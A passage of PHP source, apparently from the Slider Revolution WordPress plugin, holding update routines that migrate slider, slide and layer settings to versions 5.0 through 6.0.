$raw_bor = explode(' ', $raw_bor); } switch (count($raw_bor)){ case 1: $raw_bor = array($raw_bor[0], $raw_bor[0], $raw_bor[0], $raw_bor[0]); break; case 2: $raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[0], $raw_bor[1]); break; case 3: $raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[2], $raw_bor[1]); break; } $defh_val['border-radius'] = $raw_bor; } if(isset($wws['hover']['x'])){ $defh_val['x'] = $wws['hover']['x']; } if(isset($wws['hover']['y'])){ $defh_val['y'] = $wws['hover']['y']; } if(isset($wws['hover']['z'])){ $defh_val['z'] = $wws['hover']['z']; } if(isset($wws['hover']['skewx'])){ $defh_val['skewx'] = $wws['hover']['skewx']; } if(isset($wws['hover']['skewy'])){ $defh_val['skewy'] = $wws['hover']['skewy']; } if(isset($wws['hover']['scalex'])){ $defh_val['scalex'] = $wws['hover']['scalex']; } if(isset($wws['hover']['scaley'])){ $defh_val['scaley'] = $wws['hover']['scaley']; } if(isset($wws['hover']['opacity'])){ $defh_val['opacity'] = $wws['hover']['opacity']; } if(isset($wws['hover']['xrotate'])){ $defh_val['xrotate'] = $wws['hover']['xrotate']; } if(isset($wws['hover']['yrotate'])){ $defh_val['yrotate'] = $wws['hover']['yrotate']; } if(isset($wws['hover']['2d_rotation'])){ $defh_val['2d_rotation'] = $wws['hover']['2d_rotation']; } if(isset($wws['hover']['2d_origin_x'])){ $defh_val['2d_origin_x'] = $wws['hover']['2d_origin_x']; } if(isset($wws['hover']['2d_origin_y'])){ $defh_val['2d_origin_y'] = $wws['hover']['2d_origin_y']; } if(isset($wws['hover']['speed'])){ $defh_val['speed'] = $wws['hover']['speed']; } if(isset($wws['hover']['easing'])){ $defh_val['easing'] = $wws['hover']['easing']; } if(isset($wws['advanced']) && isset($wws['advanced']['hover']) && is_array($wws['advanced']['hover']) && !empty($wws['advanced']['hover'])){ $css_hover = '{'. "\n"; foreach($wws['advanced']['hover'] as $handle => $value){ $value = implode(' ', $value); if($value !== ''){ $css_hover .= ' '. $key .': '. $value .';'. "\n"; } } $css_hover .= '}'. "\n"; } if(!isset($layers[$lk]['inline'])){ $layers[$lk]['inline'] = array(); } if($css_idle !== ''){ $layers[$lk]['inline']['idle'] = $css_idle; } if($css_hover !== ''){ $layers[$lk]['inline']['idle'] = $css_hover; } $layers[$lk]['deformation'] = $def_val; $layers[$lk]['deformation-hover'] = $defh_val; $layers[$lk]['static_styles'] = $static_styles; } } $slide->set_layers_raw($layers); $slide->save_layers(); } } } } } } /** * add settings to layer depending on how * @since 5.0 */ public function add_general_settings($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ $fonts = get_option('tp-google-fonts', array()); foreach($sliders as $slider){ $settings = $slider->get_settings(); $bg_freeze = $slider->get_param('parallax_bg_freeze', 'off'); $google_fonts = $slider->get_param('google_font', array()); if(!isset($settings['version']) || version_compare($settings['version'], 5.0, '<')){ if(empty($google_fonts) && !empty($fonts)){ //add all punchfonts to the Slider foreach($fonts as $font){ $google_fonts[] = $font['url']; } $slider->update_params(array('google_font' => $google_fonts)); } $settings['version'] = 5.0; $slider->update_settings(array('version' => 5.0)); } if($bg_freeze == 'on'){ //deprecated here, moved to slides so remove check here and add on to slides $slider->update_params(array('parallax_bg_freeze' => 'off')); } $slides = $slider->get_slides(false, true); $staticID = $sl->get_static_slide_id($slider->get_id()); if($staticID !== false){ $msl = new RevSliderSlide(); if(strpos($staticID, 'static_') === false){ $staticID = 'static_'. $staticID; //$slider->get_id(); } $msl->init_by_id($staticID); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ if($bg_freeze == 'on'){ //set bg_freeze to on for slide settings $slide->set_param('slide_parallax_level', '1'); } $slide->save_params(); } } } } } /** * remove static slide from Sliders if the setting was set to off * @since 5.0 */ public function remove_static_slides($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $settings = $slider->get_settings(); $enable_static_layers = $slider->get_param('enable_static_layers', 'off'); if($enable_static_layers == 'off'){ $staticID = $sl->get_static_slide_id($slider->get_id()); if($staticID !== false){ $slider->delete_static_slide(); } } } } } /** * change general settings of all sliders to 5.0.7 * @since 5.0.7 */ public function change_general_settings_5_0_7($sliders = false){ //handle the new option for shuffle in combination with first alternative slide $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $settings = $slider->get_settings(); if(!isset($settings['version']) || version_compare($settings['version'], '5.0.7', '<')){ $start_with_slide = $slider->get_param('start_with_slide', '1'); if($start_with_slide !== '1'){ $slider->update_params(array('start_with_slide_enable' => 'on')); } $settings['version'] = '5.0.7'; $slider->update_settings(array('version' => '5.0.7')); } } } } /** * change image id of all slides to 5.1.1 * @since 5.1.1 */ public function change_slide_settings_5_1_1($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $staticID = $sl->get_static_slide_id($slider->get_id()); if($staticID !== false){ $msl = new RevSliderSlide(); if(strpos($staticID, 'static_') === false){ $staticID = 'static_'. $staticID; //$slider->get_id(); } $msl->init_by_id($staticID); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ //get image url, then get the image id and save it in image_id $image_id = $slide->get_param('image_id', ''); $image = $slide->get_param('image', ''); $ml_id = ''; if($image !== ''){ $ml_id = $this->get_image_id_by_url($image); } if($image == '' && $image_id == ''){ continue; } //if we are a video and have no cover image, do nothing if($ml_id !== false && $ml_id !== $image_id){ $urlImage = wp_get_attachment_image_src($ml_id, 'full'); $slide->set_param('image_id', $ml_id); $slide->save_params(); } } } } } } /** * change svg path of all layers from the upload folder if 5.2.5.3+ was installed * @since 5.2.5.5 */ public function change_layers_svg_5_2_5_5($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $upload_dir = wp_upload_dir(); $path = $upload_dir['baseurl'] .'/revslider/assets/svg/'; if($sliders === false){ //do it on all Sliders $sliders = $sr->get_sliders(); }else{ $sliders = array($sliders); } if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $staticID = $sl->get_static_slide_id($slider->get_id()); if($staticID !== false){ $msl = new RevSliderSlide(); if(strpos($staticID, 'static_') === false){ $staticID = 'static_'. $staticID; //$slider->get_id(); } $msl->init_by_id($staticID); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ foreach($layers as $lk => $layer){ if(isset($layer['type']) && $layer['type'] == 'svg'){ if(isset($layer['svg']) && isset($layer['svg']->src)){ //change newer path to older path if(strpos($layers[$lk]['svg']->src, $path) !== false){ $layers[$lk]['svg']->src = str_replace($path, RS_PLUGIN_URL .'public/assets/assets/svg/', $layers[$lk]['svg']->src); } } } } $slide->set_layers_raw($layers); $slide->save_layers(); } } } } } } /** * Change Slider Settings to version 6.0 * @since 6.0 */ public function change_slider_settings_to_6_0($sliders = false){ $sr = new RevSliderSlider(); $color_picker = new RSColorpicker(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ $nav = new RevSliderNavigation(); $navigations = $nav->get_all_navigations_builder(); foreach($sliders as $slider){ $ms = array(); $amountparams = 0; foreach($slider as $_slider){ $amountparams++; if($amountparams > 5) break; //5 is enough } if(version_compare($slider->get_setting('version', '1.0.0'), '6.0.0', '<')){ /* SLIDER BASICS */ //$ms['alias'] = $slider->get_param('alias'); $ms['id'] = $slider->get_param('slider_id'); $ms['shortcode'] = $slider->get_param('shortcode', ''); $ms['layouttype'] = $slider->get_param('slider_type', 'fullwidth'); $ms['type'] = $slider->get_param('slider-type', 'standard'); $ms['sourcetype'] = (in_array($slider->get_param('source_type'), array('post', 'posts', 'specific_posts', 'current_post'))) ? 'post' : $slider->get_param('source_type', 'gallery'); $ms['sourcetype'] = ($ms['sourcetype'] == 'woocommerce') ? 'woo' : $ms['sourcetype']; //$ms['title'] = $slider->get_param('title'); $ms['googleFont'] = $slider->get_param('google_font', array()); $postSubType = (in_array($slider->get_param('source_type'), array('post', 'posts', 'specific_posts', 'current_post'))) ? $slider->get_param('source_type', false) : 'post'; $postSubType = ($postSubType == 'posts') ? 'post' : $postSubType; /* ADD ON MIGRATIONS */ $ms['addOns'] = $this->migrate_slider_AddOn($slider); if($amountparams > 5){ $sldmh = $slider->get_param('min_height'); $sldh = $slider->get_param('height', 900); $sldh = ($sldmh > $sldh) ? $sldmh : $sldh; $min_height = ($ms['layouttype'] === 'fullscreen') ? $slider->get_param('fullscreen_min_height') : $sldmh; $min_height = ($ms['layouttype'] === 'fullwidth' && $sldmh !== '') ? $sldh : $min_height; /* SLIDER SOURCE */ $ms['source'] = array( 'gallery' => array(), 'post' => array( 'excerptLimit' => $slider->get_param('excerpt_limit', 55), 'maxPosts' => $slider->get_param('max_slider_posts', 30), 'fetchType' => $slider->get_param('fetch_type', 'cat_tag'), 'category' => $slider->get_param('post_category', ''), 'sortBy' => $slider->get_param('post_sortby', 'ID'), 'types' => $slider->get_param('post_types', 'post'), 'list' => $slider->get_param('posts_list', ''), 'sortDirection' => $slider->get_param('posts_sort_direction', 'DESC'), 'subType' => ($postSubType === false) ? 'post' : $postSubType, ), 'woo' => array( 'excerptLimit' => $slider->get_param('excerpt_limit_product', 55), 'maxProducts' => $slider->get_param('max_slider_products', 30), 'featuredOnly' => $this->_truefalse($slider->get_param('featured_only', false)), 'inStockOnly' => $this->_truefalse($slider->get_param('instock_only', false)), 'category' => $slider->get_param('product_category', ''), 'sortBy' => $slider->get_param('product_sortby', 'ID'), 'types' => $slider->get_param('product_types', 'product'), 'sortDirection' => $slider->get_param('product_sort_direction', 'DESC'), 'regPriceFrom' => $slider->get_param('reg_price_from', ''), 'regPriceTo' => $slider->get_param('reg_price_to', ''), 'salePriceFrom' => $slider->get_param('sale_price_from', ''), 'salePriceTo' => $slider->get_param('sale_price_to', ''), ), 'instagram' => array( 'count' => $slider->get_param('instagram-count', ''), 'hashTag' => $slider->get_param('instagram-hash-tag', ''), 'transient' => $slider->get_param('instagram-transient', 1200), 'type' => $slider->get_param('instagram-type', 'user'), 'userId' => $slider->get_param('instagram-user-id', ''), ), 'facebook' => array( 'album' => $slider->get_param('facebook-album', ''), 'appId' => $slider->get_param('facebook-app-id', ''), 'appSecret' => $slider->get_param('facebook-app-secret', ''), 'count' => $slider->get_param('facebook-count', ''), 'transient' => $slider->get_param('facebook-transient', 1200), 'typeSource' => $slider->get_param('facebook-type-source', 'album'), ), 'flickr' => array( 'apiKey' => $slider->get_param('flickr-api-key', ''), 'count' => $slider->get_param('flickr-count', ''), 'galleryURL' => $slider->get_param('flickr-gallery-url', ''), 'groupURL' => $slider->get_param('flickr-group-url', ''), 'photoSet' => $slider->get_param('flickr-photoset', ''), 'transient' => $slider->get_param('flickr-transient', 1200), 'type' => $slider->get_param('flickr-type', 'publicphotos'), 'userURL' => $slider->get_param('flickr-user-url', ''), ), 'twitter' => array( 'accessSecret' => $slider->get_param('twitter-access-secret', ''), 'accessToken' => $slider->get_param('twitter-access-token', ''), 'consumerKey' => $slider->get_param('twitter-consumer-key', ''), 'consumerSecret' => $slider->get_param('twitter-consumer-secret', ''), 'count' => $slider->get_param('twitter-count', ''), 'excludeReplies' => $this->_truefalse($slider->get_param('twitter-exclude-replies', false)), 'imageOnly' => $this->_truefalse($slider->get_param('twitter-image-only', false)), 'includeRetweets' => $this->_truefalse($slider->get_param('twitter-include-retweets', false)), 'transient' => $slider->get_param('twitter-transient', 1200), 'userId' => $slider->get_param('twitter-user-id', ''), ), 'vimeo' => array( 'albumId' => $slider->get_param('vimeo-albumid', ''), 'channelName' => $slider->get_param('vimeo-channelname', ''), 'count' => $slider->get_param('vimeo-count', ''), 'transient' => $slider->get_param('vimeo-transient', 1200), 'groupName' => $slider->get_param('vimeo-groupname', ''), 'typeSource' => $slider->get_param('vimeo-type-source', 'user'), 'userName' => $slider->get_param('vimeo-username', ''), ), 'youtube' => array( 'api' => $slider->get_param('youtube-api', ''), 'channelId' => $slider->get_param('youtube-channel-id', ''), 'count' => $slider->get_param('youtube-count', ''), 'playList' => $slider->get_param('youtube-playlist', ''), 'transient' => $slider->get_param('youtube-transient', 1200), 'typeSource' => $slider->get_param('youtube-type-source', 'channel'), ) ); /* SLIDER DEFAULTS */ $ms['def'] = array( 'transition' => $slider->get_param('def-slide_transition', 'fade'), 'transitionDuration' => $slider->get_param('def-transition_duration', 1000), 'delay' => $slider->get_param('delay', 9000), 'background' => array( 'fit' => $slider->get_param('def-background_fit', 'cover'), 'fitX' => $slider->get_param('def-bg_fit_x', 100), 'fitY' => $slider->get_param('def-bg_fit_y', 100), 'position' => $slider->get_param('def-bg_position', 'center center'), 'positionX' => $slider->get_param('def-bg_position_x', 0), 'positionY' => $slider->get_param('def-bg_position_y', 0), 'repeat' => $slider->get_param('def-bg_repeat', 'no-repeat'), 'imageSourceType' => $slider->get_param('def-image_source_type', 'full'), ), 'panZoom' => array( 'set' => $this->_truefalse($slider->get_param('def-kenburn_effect', false)), 'blurStart' => $slider->get_param('def-kb_blur_start', 0), 'blurEnd' => $slider->get_param('def-kb_blur_end', 0), 'duration' => $slider->get_param('def-kb_duration'. 10000), 'ease' => $slider->get_param('def-kb_easing', 'none'), 'fitEnd' => $slider->get_param('def-kb_end_fit', 100), 'fitStart' => $slider->get_param('def-kb_start_fit', 100), 'xEnd' => $slider->get_param('def-kb_end_offset_x', 0), 'yEnd' => $slider->get_param('def-kb_end_offset_y', 0), 'xStart' => $slider->get_param('def-kb_start_offset_x', 0), 'yStart' => $slider->get_param('def-kb_start_offset_y', 0), 'rotateStart' => $slider->get_param('def-kb_start_rotate', 0), 'rotateEnd' => $slider->get_param('def-kb_end_rotate', 0), ) ); /* SLIDER SIZE */ $ms['size'] = array( 'respectAspectRatio' => $this->_truefalse($slider->get_param('auto_height', false)), 'disableForceFullWidth' => $this->_truefalse($slider->get_param('autowidth_force', false)), 'gridEQModule' => $this->_truefalse($slider->get_param('full_screen_align_force', false)), 'custom' => array( 'd' => true, 'n' => $this->_truefalse($slider->get_param('enable_custom_size_notebook', false)), 't' => $this->_truefalse($slider->get_param('enable_custom_size_tablet', false)), 'm' => $this->_truefalse($slider->get_param('enable_custom_size_iphone', false)), ), 'minHeightFullScreen' => $slider->get_param('fullscreen_min_height', ''), 'minHeight' => $min_height, 'fullScreenOffsetContainer' => $slider->get_param('fullscreen_offset_container', ''), 'fullScreenOffset' => $slider->get_param('fullscreen_offset_size', ''), 'width' => array( 'd' => intval($slider->get_param('width', 1240)), 'n' => intval($slider->get_param('width_notebook', 1024)), 't' => intval($slider->get_param('width_tablet', 778)), 'm' => intval($slider->get_param('width_mobile', 480)), ), 'height' => array( 'd' => intval($slider->get_param('height', 900)), 'n' => intval($slider->get_param('height_notebook', 768)), 't' => intval($slider->get_param('height_tablet', 960)), 'm' => intval($slider->get_param('height_mobile', 720)), ), 'overflow' => $this->_truefalse($slider->get_param('main_overflow_hidden', false)), 'maxWidth' => $slider->get_param('max_width', '')/*, 'maxHeight' => $min_height*/ ); /* SLIDER CODES */ $ms['codes'] = array( 'css' => stripslashes( str_replace( array( '.tp-caption', '.tp-static-layers', '.tp-parallax-wrap', '.rev_column_bg', '.tp-revslider-slidesli', 'active-revslide' ), array( '.rs-layer', 'rs-static-layers', '.rs-parallax-wrap', 'rs-column-bg', 'rs-slide', 'active-rs-slide' ), $slider->get_param('custom_css', '') ) ), 'javascript' => stripslashes( str_replace( array( '.tp-caption', '.tp-static-layers', '.tp-parallax-wrap', '.rev_column_bg', '.tp-revslider-slidesli', 'active-revslide' ), array( '.rs-layer', 'rs-static-layers', '.rs-parallax-wrap', 'rs-column-bg', 'rs-slide', 'active-rs-slide' ), $slider->get_param('custom_javascript', '') ) ), ); /* CAROUSEL SETTINGS */ $ms['carousel'] = array( 'borderRadius' => $slider->get_param('carousel_borderr', 0), 'borderRadiusUnit' => $slider->get_param('carousel_borderr_unit', 'px'), 'ease' => $slider->get_param('carousel_easing', 'power3.inOut'), 'fadeOut' => $this->_truefalse($slider->get_param('carousel_fadeout', true)), 'scale' => $this->_truefalse($slider->get_param('carousel_scale', false)), 'horizontal' => $slider->get_param('carousel_hposition', 'center'), 'vertical' => $slider->get_param('carousel_vposition', 'center'), 'infinity' => $this->_truefalse($slider->get_param('carousel_infinity', false)), 'maxItems' => $slider->get_param('carousel_maxitems', 3), 'maxRotation' => $slider->get_param('carousel_maxrotation', 0), 'paddingTop' => $slider->get_param('carousel_padding_top', 0), 'paddingBottom' => $slider->get_param('carousel_padding_bottom', 0), 'rotation' => $this->_truefalse($slider->get_param('carousel_rotation', 0)), 'scaleDown' => $slider->get_param('carousel_scaledown', 50), 'space' => $slider->get_param('carousel_space', 0), 'speed' => $slider->get_param('carousel_speed', 800), 'stretch' => $this->_truefalse($slider->get_param('carousel_stretch', false)), 'varyFade' => $this->_truefalse($slider->get_param('carousel_varyfade', false)), 'varyRotate' => $this->_truefalse($slider->get_param('carousel_varyrotate', false)), 'varyScale' => $this->_truefalse($slider->get_param('carousel_varyscale', false)), 'showAllLayers' => $this->_truefalse($slider->get_param('showalllayers_carousel', false)), ); /* HERO SETTINGS */ $ms['hero'] = array( 'activeSlide' => $slider->get_param('hero_active', -1), ); /* SLIDER LAYOUT - BG, LOADER, POSITION */ $ms['layout'] = array( 'bg' => array( 'color' => $color_picker->correctValue($slider->get_param('background_color', 'transparent')), 'padding' => $slider->get_param('padding', 0), 'dottedOverlay' => $slider->get_param('background_dotted_overlay', 'none'), 'shadow' => $slider->get_param('shadow_type', 0), 'useImage' => $this->_truefalse($slider->get_param('show_background_image', false)), 'image' => $slider->get_param('background_image', ''), 'fit' => $slider->get_param('bg_fit', 'cover'), 'position' => $slider->get_param('bg_position', 'center center'), 'repeat' => $slider->get_param('bg_repeat', 'no-repeat'), ), 'spinner' => array( 'color' => $slider->get_param('spinner_color', '#ffffff'), 'type' => $slider->get_param('use_spinner', '5'), ), 'position' => array( 'marginTop' => $slider->get_param('margin_top', 0), 'marginBottom' => $slider->get_param('margin_bottom', 0), 'marginLeft' => $slider->get_param('margin_left', 0), 'marginRight' => $slider->get_param('margin_right', 0), 'align' => $slider->get_param('position', 'center'), ), ); /* SLIDER VISIBILITY */ $ms['visibility'] = array( 'hideSelectedLayersUnderLimit' => $slider->get_param('hide_defined_layers_under', 0), 'hideAllLayersUnderLimit' => $slider->get_param('hide_all_layers_under', 0), 'hideSliderUnderLimit' => $slider->get_param('hide_slider_under', 0), ); /* GENERAL SETTINGS */ // added for progress bar color conversions $pbcolor = $slider->get_param('progressbar_color', '#FFFFFF'); $pbopac = $slider->get_param('progress_opa', false); // see comment in ColorPicker class for new "correctValue" function $pbcolor = $color_picker->correctValue($pbcolor, $pbopac); $ms['general'] = array( 'slideshow' => array( 'stopOnHover' => $this->_truefalse($slider->get_param('stop_on_hover', false)), 'stopSlider' => $this->_truefalse($slider->get_param('stop_slider', false)), 'stopAfterLoops' => $slider->get_param('stop_after_loops', 0), 'stopAtSlide' => $slider->get_param('stop_at_slide', 1), 'shuffle' => $this->_truefalse($slider->get_param('shuffle', false)), 'loopSingle' => $this->_truefalse($slider->get_param('loop_slide', false)), 'viewPort' => $this->_truefalse($slider->get_param('label_viewport', false)), 'viewPortStart' => $slider->get_param('viewport_start', 'wait'), 'viewPortArea' => (100-intval($slider->get_param('viewport_area', 60)))."%", 'presetSliderHeight' => $this->_truefalse($slider->get_param('label_presetheight', false)), 'initDelay' => $slider->get_param('start_js_after_delay', 0), 'waitForInit' => $this->_truefalse($slider->get_param('waitforinit', false)), 'slideShow' => true ), 'progressbar' => array( 'set' => $this->_truefalse($slider->get_param('enable_progressbar', true)), 'height' => $slider->get_param('progress_height', 5), 'position' => $slider->get_param('show_timerbar', 'bottom'), 'color' => $pbcolor, ), 'firstSlide' => array( 'set' => $this->_truefalse($slider->get_param('first_transition_active', false)), 'duration' => $slider->get_param('first_transition_duration', 300), 'slotAmount' => $slider->get_param('first_transition_slot_amount', 7), 'type' => $slider->get_param('first_transition_type', 'fade'), 'alternativeFirstSlideSet' => $this->_truefalse($slider->get_param('start_with_slide_enable', false)), 'alternativeFirstSlide' => $slider->get_param('start_with_slide', 1), ), 'layerSelection' => $this->_truefalse($slider->get_param('def-layer_selection', false)), 'lazyLoad' => $slider->get_param('lazy_load_type', 'none'), 'nextSlideOnFocus' => $this->_truefalse($slider->get_param('next_slide_on_window_focus', false)), 'disableFocusListener' => $this->_truefalse($slider->get_param('disable_focus_listener', false)), 'disableOnMobile' => $this->_truefalse($slider->get_param('disable_on_mobile', false)), 'autoPlayVideoOnMobile' => $this->_truefalse($slider->get_param('allow_android_html5_autoplay', true)), 'disablePanZoomMobile' => $this->_truefalse($slider->get_param('disable_kenburns_on_mobile', false)), 'useWPML' => $this->_truefalse($slider->get_param('use_wpml', false)), ); if($ms['general']['lazyLoad'] === false){ $ms['general']['lazyLoad'] = ($slider->get_param('lazy_load', false) == 'on') ? 'all' : 'none'; } /* CHANGE HANDLE OF NAVIGATIONS TO THEIR IDS */ $slider_navigations = array( 'arrows' => $slider->get_param('navigation_arrow_style'), 'thumbs' => $slider->get_param('thumbnails_style'), 'tabs' => $slider->get_param('tabs_style'), 'bullets' => $slider->get_param('navigation_bullets_style'), ); foreach($slider_navigations as $nt => $sn){ if($sn == ''){ continue; } foreach($navigations[$nt] as $csnid => $csn){ if($csn['handle'] == $sn){ $slider_navigations[$nt] = $csnid; break; } } } $twc = $slider->get_param('thumbnails_wrapper_color', 'transparent'); $two = $slider->get_param('thumbnails_wrapper_opacity', false); // see comment in ColorPicker class for new "correctValue" function $thumbWrapperColor = $color_picker->correctValue($twc, $two); $tawc = $slider->get_param('tabs_wrapper_color', 'transparent'); $tawo = $slider->get_param('tabs_wrapper_opacity', false); // see comment in ColorPicker class for new "correctValue" function $tabsWrapperColor = $color_picker->correctValue($tawc, $tawo); /** * switch these four values around, as they are the opposite in v6 **/ $aao = $this->_truefalse($slider->get_param('arrows_always_on', true)); $thao = $this->_truefalse($slider->get_param('thumbs_always_on', true)); $taao = $this->_truefalse($slider->get_param('tabs_always_on', true)); $bao = $this->_truefalse($slider->get_param('bullets_always_on', true)); $aao = ($aao === true) ? false : true; $thao = ($thao === true) ? false : true; $taao = ($taao === true) ? false : true; $bao = ($bao === true) ? false : true; /* SLIDER NAVIGATION */ $ms['nav'] = array( 'preview' => array( 'width' => $slider->get_param('previewimage_width', 100), 'height' => $slider->get_param('previewimage_height', 50), ), 'swipe' => array( 'set' => $this->_truefalse($slider->get_param('touchenabled', false)), 'setOnDesktop' => $this->_truefalse($slider->get_param('touchenabled_desktop', false)), 'blockDragVertical' => $this->_truefalse($slider->get_param('drag_block_vertical', false)), 'direction' => $slider->get_param('swipe_direction', 'horizontal'), 'minTouch' => $slider->get_param('swipe_min_touches', 1), 'velocity' => $slider->get_param('swipe_velocity', 75), ), 'keyboard' => array( 'set' => $this->_truefalse($slider->get_param('keyboard_navigation', false)), 'direction' => $slider->get_param('keyboard_direction', 'horizontal'), ), 'mouse' => array( 'set' => $this->_truefalse($slider->get_param('mousescroll_navigation', false)), 'reverse' => $slider->get_param('mousescroll_navigation_reverse', 'default'), ), 'arrows' => array( 'set' => $this->_truefalse($slider->get_param('enable_arrows', false)), 'rtl' => $this->_truefalse($slider->get_param('rtl_arrows', false)), 'style' => $this->get_val($slider_navigations, 'arrows', 'new-bullet-bar'), 'preset' => $slider->get_param('navigation_arrows_preset', 'default'), 'presets' => new stdClass(), 'alwaysOn' => $aao, 'hideDelay' => $slider->get_param('hide_arrows', 200), 'hideDelayMobile' => $slider->get_param('hide_arrows_mobile', 1200), 'hideOver' => $this->_truefalse($slider->get_param('hide_arrows_over', false)), 'hideOverLimit' => $slider->get_param('arrows_over_hidden', 0), 'hideUnder' => $this->_truefalse($slider->get_param('hide_arrows_on_mobile', false)), 'hideUnderLimit' => $slider->get_param('arrows_under_hidden', 778), 'left' => array( 'horizontal' => $slider->get_param('leftarrow_align_hor', 'left'), 'vertical' => $slider->get_param('leftarrow_align_vert', 'center'), 'offsetX' => $slider->get_param('leftarrow_offset_hor', 30), 'offsetY' => $slider->get_param('leftarrow_offset_vert', 0), 'align' => $slider->get_param('leftarrow_position', 'slider'), ), 'right' => array( 'horizontal' => $slider->get_param('rightarrow_align_hor', 'left'), 'vertical' => $slider->get_param('rightarrow_align_vert', 'center'), 'offsetX' => $slider->get_param('rightarrow_offset_hor', 30), 'offsetY' => $slider->get_param('rightarrow_offset_vert', 0), 'align' => $slider->get_param('rightarrow_position', 'slider'), ), ), 'thumbs' => array( 'set' => $this->_truefalse($slider->get_param('enable_thumbnails', false)), 'rtl' => $this->_truefalse($slider->get_param('rtl_thumbnails', false)), 'style' => $this->get_val($slider_navigations, 'thumbs', 'new-bullet-bar'), 'preset' => $slider->get_param('navigation_thumbs_preset', 'default'), 'presets' => new stdClass(), 'alwaysOn' => $thao, 'hideDelay' => $slider->get_param('hide_thumbs', 200), 'hideDelayMobile' => $slider->get_param('hide_thumbs_mobile', 1200), 'hideOver' => $this->_truefalse($slider->get_param('hide_thumbs_over', false)), 'hideOverLimit' => $slider->get_param('thumbs_over_hidden', 0), 'hideUnder' => $this->_truefalse($slider->get_param('hide_thumbs_on_mobile', false)), 'hideUnderLimit' => $slider->get_param('thumbs_under_hidden', 778), 'spanWrapper' => $this->_truefalse($slider->get_param('span_thumbnails_wrapper', false)), 'horizontal' => $slider->get_param('thumbnails_align_hor', 'center'), 'vertical' => $slider->get_param('thumbnails_align_vert', 'bottom'), 'amount' => $slider->get_param('thumb_amount', 5), 'direction' => $slider->get_param('thumbnail_direction', 'horizontal'), 'height' => $slider->get_param('thumb_height', 50), 'width' => $slider->get_param('thumb_width', 100), 'widthMin' => $slider->get_param('thumb_width_min', 100), 'innerOuter' => $slider->get_param('thumbnails_inner_outer', 'inner'), 'offsetX' => $slider->get_param('thumbnails_offset_hor', 0), 'offsetY' => $slider->get_param('thumbnails_offset_vert', 20), 'space' => $slider->get_param('thumbnails_space', 5), 'align' => $slider->get_param('thumbnails_position', 'slider'), 'padding' => $slider->get_param('thumbnails_padding', 5), 'wrapperColor' => $thumbWrapperColor //$slider->get_param('thumbnails_wrapper_color', 'transparent'), ), 'tabs' => array( 'set' => $this->_truefalse($slider->get_param('enable_tabs', false)), 'rtl' => $this->_truefalse($slider->get_param('rtl_tabs', false)), 'style' => $this->get_val($slider_navigations, 'tabs', 'round'), 'preset' => $slider->get_param('navigation_tabs_preset', 'default'), 'presets' => new stdClass(), 'alwaysOn' => $taao, 'hideDelay' => $slider->get_param('hide_tabs', 200), 'hideDelayMobile' => $slider->get_param('hide_tabs_mobile', 1200), 'hideOver' => $this->_truefalse($slider->get_param('hide_tabs_over', false)), 'hideOverLimit' => $slider->get_param('tabs_over_hidden', 0), 'hideUnder' => $this->_truefalse($slider->get_param('hide_tabs_on_mobile', false)), 'hideUnderLimit' => $slider->get_param('tabs_under_hidden', 778), 'spanWrapper' => $this->_truefalse($slider->get_param('span_tabs_wrapper', false)), 'horizontal' => $slider->get_param('tabs_align_hor', 'center'), 'vertical' => $slider->get_param('tabs_align_vert', 'bottom'), 'amount' => $slider->get_param('tabs_amount', 5), 'direction' => $slider->get_param('tabs_direction', 'horizontal'), 'height' => $slider->get_param('tabs_height', 50), 'width' => $slider->get_param('tabs_width', 100), 'widthMin' => $slider->get_param('tabs_width_min', 100), 'innerOuter' => $slider->get_param('tabs_inner_outer', 'inner'), 'offsetX' => $slider->get_param('tabs_offset_hor', 0), 'offsetY' => $slider->get_param('tabs_offset_vert', 20), 'space' => $slider->get_param('tabs_space', 5), 'align' => $slider->get_param('tabs_position', 'slider'), 'padding' => $slider->get_param('tabs_padding', 5), 'wrapperColor' => $tabsWrapperColor //$slider->get_param('tabs_wrapper_color', 'transparent'), ), 'bullets' => array( 'set' => $this->_truefalse($slider->get_param('enable_bullets'), false), 'rtl' => $this->_truefalse($slider->get_param('rtl_bullets'), false), 'style' => $this->get_val($slider_navigations, 'bullets', 'round'), 'preset' => $slider->get_param('navigation_bullets_preset', 'default'), 'presets' => new stdClass(), 'alwaysOn' => $bao, 'horizontal' => $slider->get_param('bullets_align_hor', 'center'), 'vertical' => $slider->get_param('bullets_align_vert', 'bottom'), 'direction' => $slider->get_param('bullets_direction', 'horizontal'), 'offsetX' => $slider->get_param('bullets_offset_hor', 0), 'offsetY' => $slider->get_param('bullets_offset_vert', 20), 'align' => $slider->get_param('bullets_position', 'slider'), 'space' => $slider->get_param('bullets_space', 5), 'hideDelay' => $slider->get_param('hide_bullets', 200), 'hideDelayMobile' => $slider->get_param('hide_bullets_mobile', 1200), 'hideOver' => $this->_truefalse($slider->get_param('hide_bullets_over', false)), 'hideOverLimit' => $slider->get_param('bullets_over_hidden', 0), 'hideUnder' => 